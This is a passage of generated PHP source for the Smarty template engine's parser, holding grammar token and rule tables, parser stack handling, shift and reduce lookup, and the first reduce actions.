    447,  489,  490,  491,  463,  449,  492,  451,  327,  342,
    343,  370,  430,  431,  479,  477,
);
    const YYNOCODE = 109;
    const YYSTACKDEPTH = 500;
    const YYNSTATE = 326;
    const YYNRULE = 186;
    const YYERRORSYMBOL = 61;
    const YYERRSYMDT = 'yy0';
    const YYFALLBACK = 0;
    public static $yyFallback = array(
    );
    public function Trace($TraceFILE, $zTracePrompt)
    {
        if (!$TraceFILE) {
            $zTracePrompt = 0;
        } elseif (!$zTracePrompt) {
            $TraceFILE = 0;
        }
        $this->yyTraceFILE = $TraceFILE;
        $this->yyTracePrompt = $zTracePrompt;
    }

    public function PrintTrace()
    {
        $this->yyTraceFILE = fopen('php://output', 'w');
        $this->yyTracePrompt = '<br>';
    }

    public $yyTraceFILE;
    public $yyTracePrompt;
    public $yyidx;                    /* Index of top element in stack */
    public $yyerrcnt;                 /* Shifts left before out of the error */
    public $yystack = array();  /* The parser's stack */

    public $yyTokenName = array(
  '$',             'VERT',          'COLON',         'TEXT',        
  'STRIPON',       'STRIPOFF',      'LITERALSTART',  'LITERALEND',  
  'LITERAL',       'SIMPELOUTPUT',  'SIMPLETAG',     'SMARTYBLOCKCHILDPARENT',
  'LDEL',          'RDEL',          'DOLLARID',      'EQUAL',       
  'ID',            'PTR',           'LDELMAKENOCACHE',  'LDELIF',      
  'LDELFOR',       'SEMICOLON',     'INCDEC',        'TO',          
  'STEP',          'LDELFOREACH',   'SPACE',         'AS',          
  'APTR',          'LDELSETFILTER',  'CLOSETAG',      'LDELSLASH',   
  'ATTR',          'INTEGER',       'COMMA',         'OPENP',       
  'CLOSEP',        'MATH',          'UNIMATH',       'ISIN',        
  'QMARK',         'NOT',           'TYPECAST',      'HEX',         
  'DOT',           'INSTANCEOF',    'SINGLEQUOTESTRING',  'DOUBLECOLON', 
  'NAMESPACE',     'AT',            'HATCH',         'OPENB',       
  'CLOSEB',        'DOLLAR',        'LOGOP',         'SLOGOP',      
  'TLOGOP',        'SINGLECOND',    'ARRAYOPEN',     'QUOTE',       
  'BACKTICK',      'error',         'start',         'template',    
  'literal_e2',    'literal_e1',    'smartytag',     'tagbody',     
  'tag',           'outattr',       'eqoutattr',     'varindexed',  
  'output',        'attributes',    'variable',      'value',       
  'expr',          'modifierlist',  'statement',     'statements',  
  'foraction',     'varvar',        'modparameters',  'attribute',   
  'ternary',       'tlop',          'lop',           'scond',       
  'array',         'function',      'ns1',           'doublequoted_with_quotes',
  'static_class_access',  'arraydef',      'object',        'arrayindex',  
  'indexdef',      'varvarele',     'objectchain',   'objectelement',
  'method',        'params',        'modifier',      'modparameter',
  'arrayelements',  'arrayelement',  'doublequoted',  'doublequotedcontent',
    );

    public static $yyRuleName = array(
  'start ::= template',
  'template ::= template TEXT',
  'template ::= template STRIPON',
  'template ::= template STRIPOFF',
  'template ::= template LITERALSTART literal_e2 LITERALEND',
  'literal_e2 ::= literal_e1 LITERALSTART literal_e1 LITERALEND',
  'literal_e2 ::= literal_e1',
  'literal_e1 ::= literal_e1 LITERAL',
  'literal_e1 ::=',
  'template ::= template smartytag',
  'template ::=',
  'smartytag ::= SIMPELOUTPUT',
  'smartytag ::= SIMPLETAG',
  'smartytag ::= SMARTYBLOCKCHILDPARENT',
  'smartytag ::= LDEL tagbody RDEL',
  'smartytag ::= tag RDEL',
  'tagbody ::= outattr',
  'tagbody ::= DOLLARID eqoutattr',
  'tagbody ::= varindexed eqoutattr',
  'eqoutattr ::= EQUAL outattr',
  'outattr ::= output attributes',
  'output ::= variable',
  'output ::= value',
  'output ::= expr',
  'tag ::= LDEL ID attributes',
  'tag ::= LDEL ID',
  'tag ::= LDEL ID modifierlist attributes',
  'tag ::= LDEL ID PTR ID attributes',
  'tag ::= LDEL ID PTR ID modifierlist attributes',
  'tag ::= LDELMAKENOCACHE DOLLARID',
  'tag ::= LDELIF expr',
  'tag ::= LDELIF expr attributes',
  'tag ::= LDELIF statement',
  'tag ::= LDELIF statement attributes',
  'tag ::= LDELFOR statements SEMICOLON expr SEMICOLON varindexed foraction attributes',
  'foraction ::= EQUAL expr',
  'foraction ::= INCDEC',
  'tag ::= LDELFOR statement TO expr attributes',
  'tag ::= LDELFOR statement TO expr STEP expr attributes',
  'tag ::= LDELFOREACH SPACE expr AS varvar attributes',
  'tag ::= LDELFOREACH SPACE expr AS varvar APTR varvar attributes',
  'tag ::= LDELFOREACH attributes',
  'tag ::= LDELSETFILTER ID modparameters',
  'tag ::= LDELSETFILTER ID modparameters modifierlist',
  'smartytag ::= CLOSETAG',
  'tag ::= LDELSLASH ID',
  'tag ::= LDELSLASH ID modifierlist',
  'tag ::= LDELSLASH ID PTR ID',
  'tag ::= LDELSLASH ID PTR ID modifierlist',
  'attributes ::= attributes attribute',
  'attributes ::= attribute',
  'attributes ::=',
  'attribute ::= SPACE ID EQUAL ID',
  'attribute ::= ATTR expr',
  'attribute ::= ATTR value',
  'attribute ::= SPACE ID',
  'attribute ::= SPACE expr',
  'attribute ::= SPACE value',
  'attribute ::= SPACE INTEGER EQUAL expr',
  'statements ::= statement',
  'statements ::= statements COMMA statement',
  'statement ::= DOLLARID EQUAL INTEGER',
  'statement ::= DOLLARID EQUAL expr',
  'statement ::= varindexed EQUAL expr',
  'statement ::= OPENP statement CLOSEP',
  'expr ::= value',
  'expr ::= ternary',
  'expr ::= DOLLARID COLON ID',
  'expr ::= expr MATH value',
  'expr ::= expr UNIMATH value',
  'expr ::= expr tlop value',
  'expr ::= expr lop expr',
  'expr ::= expr scond',
  'expr ::= expr ISIN array',
  'expr ::= expr ISIN value',
  'ternary ::= OPENP expr CLOSEP QMARK DOLLARID COLON expr',
  'ternary ::= OPENP expr CLOSEP QMARK expr COLON expr',
  'value ::= variable',
  'value ::= UNIMATH value',
  'value ::= NOT value',
  'value ::= TYPECAST value',
  'value ::= variable INCDEC',
  'value ::= HEX',
  'value ::= INTEGER',
  'value ::= INTEGER DOT INTEGER',
  'value ::= INTEGER DOT',
  'value ::= DOT INTEGER',
  'value ::= ID',
  'value ::= function',
  'value ::= OPENP expr CLOSEP',
  'value ::= variable INSTANCEOF ns1',
  'value ::= variable INSTANCEOF variable',
  'value ::= SINGLEQUOTESTRING',
  'value ::= doublequoted_with_quotes',
  'value ::= varindexed DOUBLECOLON static_class_access',
  'value ::= smartytag',
  'value ::= value modifierlist',
  'value ::= NAMESPACE',
  'value ::= arraydef',
  'value ::= ns1 DOUBLECOLON static_class_access',
  'ns1 ::= ID',
  'ns1 ::= NAMESPACE',
  'variable ::= DOLLARID',
  'variable ::= varindexed',
  'variable ::= varvar AT ID',
  'variable ::= object',
  'variable ::= HATCH ID HATCH',
  'variable ::= HATCH ID HATCH arrayindex',
  'variable ::= HATCH variable HATCH',
  'variable ::= HATCH variable HATCH arrayindex',
  'varindexed ::= DOLLARID arrayindex',
  'varindexed ::= varvar arrayindex',
  'arrayindex ::= arrayindex indexdef',
  'arrayindex ::=',
  'indexdef ::= DOT DOLLARID',
  'indexdef ::= DOT varvar',
  'indexdef ::= DOT varvar AT ID',
  'indexdef ::= DOT ID',
  'indexdef ::= DOT INTEGER',
  'indexdef ::= DOT LDEL expr RDEL',
  'indexdef ::= OPENB ID CLOSEB',
  'indexdef ::= OPENB ID DOT ID CLOSEB',
  'indexdef ::= OPENB SINGLEQUOTESTRING CLOSEB',
  'indexdef ::= OPENB INTEGER CLOSEB',
  'indexdef ::= OPENB DOLLARID CLOSEB',
  'indexdef ::= OPENB variable CLOSEB',
  'indexdef ::= OPENB value CLOSEB',
  'indexdef ::= OPENB expr CLOSEB',
  'indexdef ::= OPENB CLOSEB',
  'varvar ::= DOLLARID',
  'varvar ::= DOLLAR',
  'varvar ::= varvar varvarele',
  'varvarele ::= ID',
  'varvarele ::= SIMPELOUTPUT',
  'varvarele ::= LDEL expr RDEL',
  'object ::= varindexed objectchain',
  'objectchain ::= objectelement',
  'objectchain ::= objectchain objectelement',
  'objectelement ::= PTR ID arrayindex',
  'objectelement ::= PTR varvar arrayindex',
  'objectelement ::= PTR LDEL expr RDEL arrayindex',
  'objectelement ::= PTR ID LDEL expr RDEL arrayindex',
  'objectelement ::= PTR method',
  'function ::= ns1 OPENP params CLOSEP',
  'method ::= ID OPENP params CLOSEP',
  'method ::= DOLLARID OPENP params CLOSEP',
  'params ::= params COMMA expr',
  'params ::= expr',
  'params ::=',
  'modifierlist ::= modifierlist modifier modparameters',
  'modifierlist ::= modifier modparameters',
  'modifier ::= VERT AT ID',
  'modifier ::= VERT ID',
  'modparameters ::= modparameters modparameter',
  'modparameters ::=',
  'modparameter ::= COLON value',
  'modparameter ::= COLON UNIMATH value',
  'modparameter ::= COLON array',
  'static_class_access ::= method',
  'static_class_access ::= method objectchain',
  'static_class_access ::= ID',
  'static_class_access ::= DOLLARID arrayindex',
  'static_class_access ::= DOLLARID arrayindex objectchain',
  'lop ::= LOGOP',
  'lop ::= SLOGOP',
  'tlop ::= TLOGOP',
  'scond ::= SINGLECOND',
  'arraydef ::= OPENB arrayelements CLOSEB',
  'arraydef ::= ARRAYOPEN arrayelements CLOSEP',
  'arrayelements ::= arrayelement',
  'arrayelements ::= arrayelements COMMA arrayelement',
  'arrayelements ::=',
  'arrayelement ::= value APTR expr',
  'arrayelement ::= ID APTR expr',
  'arrayelement ::= expr',
  'doublequoted_with_quotes ::= QUOTE QUOTE',
  'doublequoted_with_quotes ::= QUOTE doublequoted QUOTE',
  'doublequoted ::= doublequoted doublequotedcontent',
  'doublequoted ::= doublequotedcontent',
  'doublequotedcontent ::= BACKTICK variable BACKTICK',
  'doublequotedcontent ::= BACKTICK expr BACKTICK',
  'doublequotedcontent ::= DOLLARID',
  'doublequotedcontent ::= LDEL variable RDEL',
  'doublequotedcontent ::= LDEL expr RDEL',
  'doublequotedcontent ::= smartytag',
  'doublequotedcontent ::= TEXT',
    );

    public function tokenName($tokenType)
    {
        if ($tokenType === 0) {
            return 'End of Input';
        }
        if ($tokenType > 0 && $tokenType < count($this->yyTokenName)) {
            return $this->yyTokenName[$tokenType];
        } else {
            return 'Unknown';
        }
    }

    public static function yy_destructor($yymajor, $yypminor)
    {
        switch ($yymajor) {
            default:  break;   /* If no destructor action specified: do nothing */
        }
    }

    public function yy_pop_parser_stack()
    {
        if (empty($this->yystack)) {
            return;
        }
        $yytos = array_pop($this->yystack);
        if ($this->yyTraceFILE && $this->yyidx >= 0) {
            fwrite($this->yyTraceFILE,
                $this->yyTracePrompt . 'Popping ' . $this->yyTokenName[$yytos->major] .
                    "\n");
        }
        $yymajor = $yytos->major;
        self::yy_destructor($yymajor, $yytos->minor);
        $this->yyidx--;

        return $yymajor;
    }

    public function __destruct()
    {
        while ($this->yystack !== Array()) {
            $this->yy_pop_parser_stack();
        }
        if (is_resource($this->yyTraceFILE)) {
            fclose($this->yyTraceFILE);
        }
    }

    public function yy_get_expected_tokens($token)
    {
        static $res3 = array();
        static $res4 = array();
        $state = $this->yystack[$this->yyidx]->stateno;
        $expected = self::$yyExpectedTokens[$state];
        if (isset($res3[$state][$token])) {
            if ($res3[$state][$token]) {
                return $expected;
            }
        } else {
            if ($res3[$state][$token] = in_array($token, self::$yyExpectedTokens[$state], true)) {
                return $expected;
            }
        }
        $stack = $this->yystack;
        $yyidx = $this->yyidx;
        do {
            $yyact = $this->yy_find_shift_action($token);
            if ($yyact >= self::YYNSTATE && $yyact < self::YYNSTATE + self::YYNRULE) {
                // reduce action
                $done = 0;
                do {
                    if ($done++ === 100) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        // too much recursion prevents proper detection
                        // so give up
                        return array_unique($expected);
                    }
                    $yyruleno = $yyact - self::YYNSTATE;
                    $this->yyidx -= self::$yyRuleInfo[$yyruleno][1];
                    $nextstate = $this->yy_find_reduce_action(
                        $this->yystack[$this->yyidx]->stateno,
                        self::$yyRuleInfo[$yyruleno][0]);
                    if (isset(self::$yyExpectedTokens[$nextstate])) {
                $expected = array_merge($expected, self::$yyExpectedTokens[$nextstate]);
                        if (isset($res4[$nextstate][$token])) {
                            if ($res4[$nextstate][$token]) {
                                $this->yyidx = $yyidx;
                                $this->yystack = $stack;
                                return array_unique($expected);
                            }
                        } else {
                            if ($res4[$nextstate][$token] = in_array($token, self::$yyExpectedTokens[$nextstate], true)) {
                                $this->yyidx = $yyidx;
                                $this->yystack = $stack;
                                return array_unique($expected);
                            }
                        }
                    }
                    if ($nextstate < self::YYNSTATE) {
                        // we need to shift a non-terminal
                        $this->yyidx++;
                        $x = new TP_yyStackEntry;
                        $x->stateno = $nextstate;
                        $x->major = self::$yyRuleInfo[$yyruleno][0];
                        $this->yystack[$this->yyidx] = $x;
                        continue 2;
                    } elseif ($nextstate === self::YYNSTATE + self::YYNRULE + 1) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        // the last token was just ignored, we can't accept
                        // by ignoring input, this is in essence ignoring a
                        // syntax error!
                        return array_unique($expected);
                    } elseif ($nextstate === self::YY_NO_ACTION) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        // input accepted, but not shifted (I guess)
                        return $expected;
                    } else {
                        $yyact = $nextstate;
                    }
                } while (true);
            }
            break;
        } while (true);
    $this->yyidx = $yyidx;
    $this->yystack = $stack;

        return array_unique($expected);
    }

    public function yy_is_expected_token($token)
    {
        static $res = array();
        static $res2 = array();
        if ($token === 0) {
            return true; // 0 is not part of this
        }
        $state = $this->yystack[$this->yyidx]->stateno;
        if (isset($res[$state][$token])) {
            if ($res[$state][$token]) {
                return true;
            }
        } else {
            if ($res[$state][$token] = in_array($token, self::$yyExpectedTokens[$state], true)) {
                return true;
            }
       }
        $stack = $this->yystack;
        $yyidx = $this->yyidx;
        do {
            $yyact = $this->yy_find_shift_action($token);
            if ($yyact >= self::YYNSTATE && $yyact < self::YYNSTATE + self::YYNRULE) {
                // reduce action
                $done = 0;
                do {
                    if ($done++ === 100) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        // too much recursion prevents proper detection
                        // so give up
                        return true;
                    }
                    $yyruleno = $yyact - self::YYNSTATE;
                    $this->yyidx -= self::$yyRuleInfo[$yyruleno][1];
                    $nextstate = $this->yy_find_reduce_action(
                        $this->yystack[$this->yyidx]->stateno,
                        self::$yyRuleInfo[$yyruleno][0]);
                    if (isset($res2[$nextstate][$token])) {
                        if ($res2[$nextstate][$token]) {
                            $this->yyidx = $yyidx;
                            $this->yystack = $stack;
                            return true;
                        }
                    } else {
                        if ($res2[$nextstate][$token] = (isset(self::$yyExpectedTokens[$nextstate]) && in_array($token, self::$yyExpectedTokens[$nextstate], true))) {
                            $this->yyidx = $yyidx;
                            $this->yystack = $stack;
                            return true;
                        }
                    }
                    if ($nextstate < self::YYNSTATE) {
                        // we need to shift a non-terminal
                        $this->yyidx++;
                        $x = new TP_yyStackEntry;
                        $x->stateno = $nextstate;
                        $x->major = self::$yyRuleInfo[$yyruleno][0];
                        $this->yystack[$this->yyidx] = $x;
                        continue 2;
                    } elseif ($nextstate === self::YYNSTATE + self::YYNRULE + 1) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        if (!$token) {
                            // end of input: this is valid
                            return true;
                        }
                        // the last token was just ignored, we can't accept
                        // by ignoring input, this is in essence ignoring a
                        // syntax error!
                        return false;
                    } elseif ($nextstate === self::YY_NO_ACTION) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        // input accepted, but not shifted (I guess)
                        return true;
                    } else {
                        $yyact = $nextstate;
                    }
                } while (true);
            }
            break;
        } while (true);
        $this->yyidx = $yyidx;
        $this->yystack = $stack;

        return true;
    }

   public function yy_find_shift_action($iLookAhead)
    {
        $stateno = $this->yystack[$this->yyidx]->stateno;

        /* if ($this->yyidx < 0) return self::YY_NO_ACTION;  */
        if (!isset(self::$yy_shift_ofst[$stateno])) {
            // no shift actions
            return self::$yy_default[$stateno];
        }
        $i = self::$yy_shift_ofst[$stateno];
        if ($i === self::YY_SHIFT_USE_DFLT) {
            return self::$yy_default[$stateno];
        }
        if ($iLookAhead === self::YYNOCODE) {
            return self::YY_NO_ACTION;
        }
        $i += $iLookAhead;
        if ($i < 0 || $i >= self::YY_SZ_ACTTAB ||
              self::$yy_lookahead[$i] != $iLookAhead) {
            if (count(self::$yyFallback) && $iLookAhead < count(self::$yyFallback)
                   && ($iFallback = self::$yyFallback[$iLookAhead]) != 0) {
                if ($this->yyTraceFILE) {
                    fwrite($this->yyTraceFILE, $this->yyTracePrompt . 'FALLBACK ' .
                        $this->yyTokenName[$iLookAhead] . ' => ' .
                        $this->yyTokenName[$iFallback] . "\n");
                }

                return $this->yy_find_shift_action($iFallback);
            }

            return self::$yy_default[$stateno];
        } else {
            return self::$yy_action[$i];
        }
    }

    public function yy_find_reduce_action($stateno, $iLookAhead)
    {
        /* $stateno = $this->yystack[$this->yyidx]->stateno; */

        if (!isset(self::$yy_reduce_ofst[$stateno])) {
            return self::$yy_default[$stateno];
        }
        $i = self::$yy_reduce_ofst[$stateno];
        if ($i === self::YY_REDUCE_USE_DFLT) {
            return self::$yy_default[$stateno];
        }
        if ($iLookAhead === self::YYNOCODE) {
            return self::YY_NO_ACTION;
        }
        $i += $iLookAhead;
        if ($i < 0 || $i >= self::YY_SZ_ACTTAB ||
              self::$yy_lookahead[$i] != $iLookAhead) {
            return self::$yy_default[$stateno];
        } else {
            return self::$yy_action[$i];
        }
    }

    public function yy_shift($yyNewState, $yyMajor, $yypMinor)
    {
        $this->yyidx++;
        if ($this->yyidx >= self::YYSTACKDEPTH) {
            $this->yyidx--;
            if ($this->yyTraceFILE) {
                fprintf($this->yyTraceFILE, "%sStack Overflow!\n", $this->yyTracePrompt);
            }
            while ($this->yyidx >= 0) {
                $this->yy_pop_parser_stack();
            }
// line 220 "../smarty/lexer/smarty_internal_templateparser.y"

    $this->internalError = true;
    $this->compiler->trigger_template_error('Stack overflow in template parser');

            return;
        }
        $yytos = new TP_yyStackEntry;
        $yytos->stateno = $yyNewState;
        $yytos->major = $yyMajor;
        $yytos->minor = $yypMinor;
        $this->yystack[] = $yytos;
        if ($this->yyTraceFILE && $this->yyidx > 0) {
            fprintf($this->yyTraceFILE, "%sShift %d\n", $this->yyTracePrompt,
                $yyNewState);
            fprintf($this->yyTraceFILE, "%sStack:", $this->yyTracePrompt);
            for ($i = 1; $i <= $this->yyidx; $i++) {
                fprintf($this->yyTraceFILE, " %s",
                    $this->yyTokenName[$this->yystack[$i]->major]);
            }
            fwrite($this->yyTraceFILE,"\n");
        }
    }

    public static $yyRuleInfo = array(
  array( 0 => 62, 1 => 1 ),
  array( 0 => 63, 1 => 2 ),
  array( 0 => 63, 1 => 2 ),
  array( 0 => 63, 1 => 2 ),
  array( 0 => 63, 1 => 4 ),
  array( 0 => 64, 1 => 4 ),
  array( 0 => 64, 1 => 1 ),
  array( 0 => 65, 1 => 2 ),
  array( 0 => 65, 1 => 0 ),
  array( 0 => 63, 1 => 2 ),
  array( 0 => 63, 1 => 0 ),
  array( 0 => 66, 1 => 1 ),
  array( 0 => 66, 1 => 1 ),
  array( 0 => 66, 1 => 1 ),
  array( 0 => 66, 1 => 3 ),
  array( 0 => 66, 1 => 2 ),
  array( 0 => 67, 1 => 1 ),
  array( 0 => 67, 1 => 2 ),
  array( 0 => 67, 1 => 2 ),
  array( 0 => 70, 1 => 2 ),
  array( 0 => 69, 1 => 2 ),
  array( 0 => 72, 1 => 1 ),
  array( 0 => 72, 1 => 1 ),
  array( 0 => 72, 1 => 1 ),
  array( 0 => 68, 1 => 3 ),
  array( 0 => 68, 1 => 2 ),
  array( 0 => 68, 1 => 4 ),
  array( 0 => 68, 1 => 5 ),
  array( 0 => 68, 1 => 6 ),
  array( 0 => 68, 1 => 2 ),
  array( 0 => 68, 1 => 2 ),
  array( 0 => 68, 1 => 3 ),
  array( 0 => 68, 1 => 2 ),
  array( 0 => 68, 1 => 3 ),
  array( 0 => 68, 1 => 8 ),
  array( 0 => 80, 1 => 2 ),
  array( 0 => 80, 1 => 1 ),
  array( 0 => 68, 1 => 5 ),
  array( 0 => 68, 1 => 7 ),
  array( 0 => 68, 1 => 6 ),
  array( 0 => 68, 1 => 8 ),
  array( 0 => 68, 1 => 2 ),
  array( 0 => 68, 1 => 3 ),
  array( 0 => 68, 1 => 4 ),
  array( 0 => 66, 1 => 1 ),
  array( 0 => 68, 1 => 2 ),
  array( 0 => 68, 1 => 3 ),
  array( 0 => 68, 1 => 4 ),
  array( 0 => 68, 1 => 5 ),
  array( 0 => 73, 1 => 2 ),
  array( 0 => 73, 1 => 1 ),
  array( 0 => 73, 1 => 0 ),
  array( 0 => 83, 1 => 4 ),
  array( 0 => 83, 1 => 2 ),
  array( 0 => 83, 1 => 2 ),
  array( 0 => 83, 1 => 2 ),
  array( 0 => 83, 1 => 2 ),
  array( 0 => 83, 1 => 2 ),
  array( 0 => 83, 1 => 4 ),
  array( 0 => 79, 1 => 1 ),
  array( 0 => 79, 1 => 3 ),
  array( 0 => 78, 1 => 3 ),
  array( 0 => 78, 1 => 3 ),
  array( 0 => 78, 1 => 3 ),
  array( 0 => 78, 1 => 3 ),
  array( 0 => 76, 1 => 1 ),
  array( 0 => 76, 1 => 1 ),
  array( 0 => 76, 1 => 3 ),
  array( 0 => 76, 1 => 3 ),
  array( 0 => 76, 1 => 3 ),
  array( 0 => 76, 1 => 3 ),
  array( 0 => 76, 1 => 3 ),
  array( 0 => 76, 1 => 2 ),
  array( 0 => 76, 1 => 3 ),
  array( 0 => 76, 1 => 3 ),
  array( 0 => 84, 1 => 7 ),
  array( 0 => 84, 1 => 7 ),
  array( 0 => 75, 1 => 1 ),
  array( 0 => 75, 1 => 2 ),
  array( 0 => 75, 1 => 2 ),
  array( 0 => 75, 1 => 2 ),
  array( 0 => 75, 1 => 2 ),
  array( 0 => 75, 1 => 1 ),
  array( 0 => 75, 1 => 1 ),
  array( 0 => 75, 1 => 3 ),
  array( 0 => 75, 1 => 2 ),
  array( 0 => 75, 1 => 2 ),
  array( 0 => 75, 1 => 1 ),
  array( 0 => 75, 1 => 1 ),
  array( 0 => 75, 1 => 3 ),
  array( 0 => 75, 1 => 3 ),
  array( 0 => 75, 1 => 3 ),
  array( 0 => 75, 1 => 1 ),
  array( 0 => 75, 1 => 1 ),
  array( 0 => 75, 1 => 3 ),
  array( 0 => 75, 1 => 1 ),
  array( 0 => 75, 1 => 2 ),
  array( 0 => 75, 1 => 1 ),
  array( 0 => 75, 1 => 1 ),
  array( 0 => 75, 1 => 3 ),
  array( 0 => 90, 1 => 1 ),
  array( 0 => 90, 1 => 1 ),
  array( 0 => 74, 1 => 1 ),
  array( 0 => 74, 1 => 1 ),
  array( 0 => 74, 1 => 3 ),
  array( 0 => 74, 1 => 1 ),
  array( 0 => 74, 1 => 3 ),
  array( 0 => 74, 1 => 4 ),
  array( 0 => 74, 1 => 3 ),
  array( 0 => 74, 1 => 4 ),
  array( 0 => 71, 1 => 2 ),
  array( 0 => 71, 1 => 2 ),
  array( 0 => 95, 1 => 2 ),
  array( 0 => 95, 1 => 0 ),
  array( 0 => 96, 1 => 2 ),
  array( 0 => 96, 1 => 2 ),
  array( 0 => 96, 1 => 4 ),
  array( 0 => 96, 1 => 2 ),
  array( 0 => 96, 1 => 2 ),
  array( 0 => 96, 1 => 4 ),
  array( 0 => 96, 1 => 3 ),
  array( 0 => 96, 1 => 5 ),
  array( 0 => 96, 1 => 3 ),
  array( 0 => 96, 1 => 3 ),
  array( 0 => 96, 1 => 3 ),
  array( 0 => 96, 1 => 3 ),
  array( 0 => 96, 1 => 3 ),
  array( 0 => 96, 1 => 3 ),
  array( 0 => 96, 1 => 2 ),
  array( 0 => 81, 1 => 1 ),
  array( 0 => 81, 1 => 1 ),
  array( 0 => 81, 1 => 2 ),
  array( 0 => 97, 1 => 1 ),
  array( 0 => 97, 1 => 1 ),
  array( 0 => 97, 1 => 3 ),
  array( 0 => 94, 1 => 2 ),
  array( 0 => 98, 1 => 1 ),
  array( 0 => 98, 1 => 2 ),
  array( 0 => 99, 1 => 3 ),
  array( 0 => 99, 1 => 3 ),
  array( 0 => 99, 1 => 5 ),
  array( 0 => 99, 1 => 6 ),
  array( 0 => 99, 1 => 2 ),
  array( 0 => 89, 1 => 4 ),
  array( 0 => 100, 1 => 4 ),
  array( 0 => 100, 1 => 4 ),
  array( 0 => 101, 1 => 3 ),
  array( 0 => 101, 1 => 1 ),
  array( 0 => 101, 1 => 0 ),
  array( 0 => 77, 1 => 3 ),
  array( 0 => 77, 1 => 2 ),
  array( 0 => 102, 1 => 3 ),
  array( 0 => 102, 1 => 2 ),
  array( 0 => 82, 1 => 2 ),
  array( 0 => 82, 1 => 0 ),
  array( 0 => 103, 1 => 2 ),
  array( 0 => 103, 1 => 3 ),
  array( 0 => 103, 1 => 2 ),
  array( 0 => 92, 1 => 1 ),
  array( 0 => 92, 1 => 2 ),
  array( 0 => 92, 1 => 1 ),
  array( 0 => 92, 1 => 2 ),
  array( 0 => 92, 1 => 3 ),
  array( 0 => 86, 1 => 1 ),
  array( 0 => 86, 1 => 1 ),
  array( 0 => 85, 1 => 1 ),
  array( 0 => 87, 1 => 1 ),
  array( 0 => 93, 1 => 3 ),
  array( 0 => 93, 1 => 3 ),
  array( 0 => 104, 1 => 1 ),
  array( 0 => 104, 1 => 3 ),
  array( 0 => 104, 1 => 0 ),
  array( 0 => 105, 1 => 3 ),
  array( 0 => 105, 1 => 3 ),
  array( 0 => 105, 1 => 1 ),
  array( 0 => 91, 1 => 2 ),
  array( 0 => 91, 1 => 3 ),
  array( 0 => 106, 1 => 2 ),
  array( 0 => 106, 1 => 1 ),
  array( 0 => 107, 1 => 3 ),
  array( 0 => 107, 1 => 3 ),
  array( 0 => 107, 1 => 1 ),
  array( 0 => 107, 1 => 3 ),
  array( 0 => 107, 1 => 3 ),
  array( 0 => 107, 1 => 1 ),
  array( 0 => 107, 1 => 1 ),
    );

    public static $yyReduceMap = array(
        0 => 0,
        1 => 1,
        2 => 2,
        3 => 3,
        4 => 4,
        5 => 5,
        6 => 6,
        21 => 6,
        22 => 6,
        23 => 6,
        36 => 6,
        56 => 6,
        57 => 6,
        65 => 6,
        66 => 6,
        77 => 6,
        82 => 6,
        83 => 6,
        88 => 6,
        92 => 6,
        93 => 6,
        97 => 6,
        98 => 6,
        100 => 6,
        105 => 6,
        169 => 6,
        174 => 6,
        7 => 7,
        8 => 8,
        9 => 9,
        11 => 11,
        12 => 12,
        13 => 13,
        14 => 14,
        15 => 15,
        16 => 16,
        17 => 17,
        18 => 18,
        19 => 19,
        20 => 20,
        24 => 24,
        25 => 25,
        26 => 26,
        27 => 27,
        28 => 28,
        29 => 29,
        30 => 30,
        31 => 31,
        33 => 31,
        32 => 32,
        34 => 34,
        35 => 35,
        37 => 37,
        38 => 38,
        39 => 39,
        40 => 40,
        41 => 41,
        42 => 42,
        43 => 43,
        44 => 44,
        45 => 45,
        46 => 46,
        47 => 47,
        48 => 48,
        49 => 49,
        50 => 50,
        59 => 50,
        147 => 50,
        151 => 50,
        155 => 50,
        157 => 50,
        51 => 51,
        148 => 51,
        154 => 51,
        52 => 52,
        53 => 53,
        54 => 53,
        55 => 55,
        132 => 55,
        58 => 58,
        60 => 60,
        61 => 61,
        62 => 61,
        63 => 63,
        64 => 64,
        67 => 67,
        68 => 68,
        69 => 68,
        70 => 70,
        71 => 71,
        72 => 72,
        73 => 73,
        74 => 74,
        75 => 75,
        76 => 76,
        78 => 78,
        80 => 78,
        81 => 78,
        112 => 78,
        79 => 79,
        84 => 84,
        85 => 85,
        86 => 86,
        87 => 87,
        89 => 89,
        90 => 90,
        91 => 90,
        94 => 94,
        95 => 95,
        96 => 96,
        99 => 99,
        101 => 101,
        102 => 102,
        103 => 103,
        104 => 104,
        106 => 106,
        107 => 107,
        108 => 108,
        109 => 109,
        110 => 110,
        111 => 111,
        113 => 113,
        171 => 113,
        114 => 114,
        115 => 115,
        116 => 116,
        117 => 117,
        118 => 118,
        119 => 119,
        127 => 119,
        120 => 120,
        121 => 121,
        122 => 122,
        123 => 122,
        125 => 122,
        126 => 122,
        124 => 124,
        128 => 128,
        129 => 129,
        130 => 130,
        175 => 130,
        131 => 131,
        133 => 133,
        134 => 134,
        135 => 135,
        136 => 136,
        137 => 137,
        138 => 138,
        139 => 139,
        140 => 140,
        141 => 141,
        142 => 142,
        143 => 143,
        144 => 144,
        145 => 145,
        146 => 146,
        149 => 149,
        150 => 150,
        152 => 152,
        153 => 153,
        156 => 156,
        158 => 158,
        159 => 159,
        160 => 160,
        161 => 161,
        162 => 162,
        163 => 163,
        164 => 164,
        165 => 165,
        166 => 166,
        167 => 167,
        168 => 167,
        170 => 170,
        172 => 172,
        173 => 173,
        176 => 176,
        177 => 177,
        178 => 178,
        179 => 179,
        182 => 179,
        180 => 180,
        183 => 180,
        181 => 181,
        184 => 184,
        185 => 185,
    );
// line 233 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r0(){
    $this->root_buffer->prepend_array($this, $this->template_prefix);
    $this->root_buffer->append_array($this, $this->template_postfix);
    $this->_retvalue = $this->root_buffer->to_smarty_php($this);
    }
// line 240 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r1(){
         $text = $this->yystack[ $this->yyidx + 0 ]->minor;

         if ((string)$text == '') {
            $this->current_buffer->append_subtree($this, null);
         }

         $this->current_buffer->append_subtree($this, new Smarty_Internal_ParseTree_Text($text, $this->strip));
    }
// line 250 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r2(){
    $this->strip = true;
    }
// line 254 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r3(){
    $this->strip = false;
    }
// line 259 "../smarty/lexer/smarty_internal_templateparser.y"
